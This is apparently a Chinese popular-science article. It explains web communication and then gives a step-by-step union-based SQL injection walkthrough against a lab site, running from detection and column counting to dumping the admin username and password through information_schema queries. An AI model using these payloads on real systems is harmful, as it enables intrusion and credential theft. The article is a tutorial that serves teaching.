相信点进来的你和我一样看不懂标题。
没关系,不妨先了解一下,为什么我在网址栏里输入一串网址,就可以访问到这个网页。
了解通信原理之后能帮助你更好的理解后面实例中的一顿“操作”。
web通信原理介绍
IP:ip 实际上就是生活中的地址,好像 XX省XX市XX区...... ,只不过 ip 是由数字组成。IP 分为内网ip 和 公网ip,公网地址是运营商分配,内网地址是路由器分配的。
域名:方便记忆而发明的一种字符标识。比如说www.baidu.com就是域名,而其对应了很多个ip。
Web容器 :web容器是一个程序,这个程序是被动的,常常被称为“中间件”。因为是一个被动的程序,所以需要其他计算机发出请求给ta时,ta才会响应。功能是存储、处理、传送网页给浏览器。
常见的Web容器:
IIS,Windows 平台专用;
Apache,通用,跨平台;
Nginx,通用,跨平台
Web通信中必备的还有数据库系统,用来存储数据和数据间关系。
常见的数据库有:SqlServer、Oracle、MySQL、DB2等
举个栗子
如果网站是个图书馆.....
web容器就好像是图书馆管理员,只有当别人向他寻求第几排第几行的某本书(告诉web容器是哪一个文件),他才会从架子上把书(也就是网页文件)交给读者(而文件与数据之间可以简单理解为通过数据库存储的),如果这本“书”只供内部翻阅,不对外开放,当外来读者寻求的时候,管理员则会拒绝交给他。
每一个网站,其实可以理解为由一堆又一堆这样的文件所组成,这些文件存储在网站的服务器里,网页的首页可以是某个目录文件,我可以给下图这个网站定义一个域名(其实是要买的)叫https://www.qiuzhuanfa.com/
当我们访问它的时候,它就从一堆文件里提取一些网页的必要元素(图片,css文件等等),传递给你的浏览器,浏览器再去表达,最后形成了一个如下的网页(这个只是一个网站的框架)
辣么,当我点击网页中的某个链接,它跳转到如下网页的时候
其实就是向服务器访问我们刚刚那个examples文件夹(或某个文件)
服务器发送给浏览器一堆必要文件之后,再表达,形成平时看到的网页
是不是清楚了许多?
地址栏(就是输入网址那个框框)本质上是向服务器传递参数,在服务器允许的范围内可以访问文件,形成网页。上面我们提到过,web容器中必备的还有数据库软件,通常情况下,web容器会过滤掉不合理的命令,允许访问网页,但是拒绝操作服务器的命令。万事皆有例外,网页中总是存在漏洞的,通过一些漏洞,我们就可以通过写入一些命令语句,操作数据库,通过数据库拿到管理员账户和密码,达到攻击的目的。
了解了必备背景知识之后,让我们开始看看具体操作吧
注意
观前提示:下篇所有操作请勿在不被允许的服务器上进行测试,切记,我国有一套完整的刑法。
SQL注入渗透原理
攻击数据库有很多种注入方式,针对不同的数据库有不同的注入语句,本篇选用SQL的主要目的在于语句便于理解,且SqlServer以及mysql属于主流服务器所用到的数据库软件,还有Oracle等等。
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串(通俗易懂的讲,就是输入网址的那个框框里,在正常网址后面加入一些SQL命令),最终达到欺骗服务器执行恶意SQL命令。比如这样:
举个栗子
还是上面那个栗子:
读者向图书管理员寻求一本书的时候(通过输入网址,向服务器发送请求),发出一些(恶意)指令。而图书管理员老眼昏花,没有分辨这个要求是好是坏的能力,便去图书馆的系统里查询(执行sql命令),将查出来原本只能内部查阅的书籍交给了这位读者。
读者指令再恶意一点,图书管理员将图书馆大门的钥匙也放在了书籍里,交给了这位外来读者。
那么问题来了:SQL命令怎么构造?
Emmmmm,这个就不是一篇推送能够说清楚的了……
读懂了上面这些皮毛,就说明你已经正式读懂了web通信的基本原理,还是有些云里雾里?下面就是实战操作。
正片加载中...
SQL注入实例
以下操作都是在靶机上执行,公司、网址、人物、故事皆为虚拟。
咸鱼日常
小周自己开了一家公司,费尽心思做了公司的网站,没想到,第二天就忘记了后台管理员账户和密码,她只好求助同事小张……
以下内容涉及部分sql语句,感兴趣的同学可以百度sql命令,懒得查的同学可以……看个热闹?别走别走!懒得查可以看看网页变化嘛
公司网站地址:
http://117.41.229.122:8003/?id=1
下面就是公司首页啦,可以看到编号为id=1的文章就是“猫舍介绍”
第一步,判断是否存在sql注入漏洞
既然有id=1,那么通过SQL的逻辑判断,我们接下来可以构造
?id=1 and 1=1
回车(含义:id=1,并且判断1是否等于1)
页面返回正常
构造
?id=1 and 1=2
回车(1必然不等于2呀,所以可以根据这个来判断是否存在注入漏洞)
第二步:判断字段数
构造
?id=1 and 1=1 order by 1
回车(含义:id=1,并且判断1是否等于1,以1排序)
页面正常
构造
?id=1 and 1=1 order by 2
回车
页面正常
构造
?id=1 and 1=1 order by 3
回车
页面返回 错误,判断字段数为 2
第三步:判断回显点
构造
?id=1 and 1=2 union select 1,2
回车(这块的union用到了联合查询)
页面出现了2,说明我们可以在数字2处显示我们想要的内容
第四步:查询相关内容
查询当前数据库名
构造
?id=1 and 1=2 union select 1,database()
回车
绝大多数情况下,管理员的账号密码都在admin表里
查询字段名
构造
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
回车
构造
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
回车
构造
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
回车
查出 admin 表里 有 id username password 三个字段
查询字段内容
构造
?id=1 and 1=2 union select 1,username from admin limit 0,1
回车
构造
?id=1 and 1=2 union select 1,password from admin limit 1,1
回车
limit 1,1 没有回显,说明只有一个用户
构造
?id=1 and 1=2 union select 1,password from admin limit 0,1
回车
得到管理员账号和密码
就这样,小周找回了她的密码
是不是很简单,嘻……嘻嘻
(啊疼疼疼组长别打了!小周真不是你!)
我们好奇,我们探索,我们分享 欢迎你 将好玩有趣又实用的科技知识 分享给我们 |
文字整理:刘煜田他不甜吗
排版:小桌椅
点击蓝字关注我们